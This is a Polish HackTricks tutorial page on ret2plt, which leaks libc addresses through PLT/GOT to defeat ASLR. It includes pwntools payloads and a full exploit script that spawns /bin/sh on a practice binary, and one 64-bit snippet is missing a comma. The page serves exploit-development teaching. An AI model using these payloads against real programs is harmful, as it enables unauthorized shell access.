Ret2plt
Reading time: 3 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Celem tej techniki jest wyciek adresu z funkcji z PLT, aby móc obejść ASLR. Dzieje się tak, ponieważ jeśli na przykład wyciekniesz adres funkcji puts
z libc, możesz następnie obliczyć, gdzie znajduje się baza libc
i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak system
.
Można to zrobić za pomocą ładunku pwntools
, takiego jak (stąd):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Zauważ, jak puts
(używając adresu z PLT) jest wywoływane z adresem puts
znajdującym się w GOT (Global Offset Table). Dzieje się tak, ponieważ w momencie, gdy puts
drukuje wpis GOT dla puts, ten wpis będzie zawierał dokładny adres puts
w pamięci.
Zauważ również, jak adres main
jest używany w exploicie, więc gdy puts
kończy swoje wykonanie, binarne wywołuje main
ponownie zamiast kończyć (więc wyciekający adres będzie nadal ważny).
caution
Zauważ, że aby to zadziałało, binarne nie może być skompilowane z PIE lub musisz znaleźć wyciek, aby obejść PIE, aby znać adres PLT, GOT i main. W przeciwnym razie musisz najpierw obejść PIE.
Możesz znaleźć pełny przykład tego obejścia tutaj. To był ostateczny exploit z tego przykładu:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Inne przykłady i odniesienia
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bity, ASLR włączone, ale bez PIE, pierwszym krokiem jest wypełnienie przepełnienia do bajtu 0x00 kanarka, aby następnie wywołać puts i wyciek. Z kanarkiem tworzony jest gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie gadżet ROP do wywołania
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bity, ASLR włączone, brak kanarka, przepełnienie stosu w main z funkcji podrzędnej. Gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie wywołanie jednego gadżetu.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.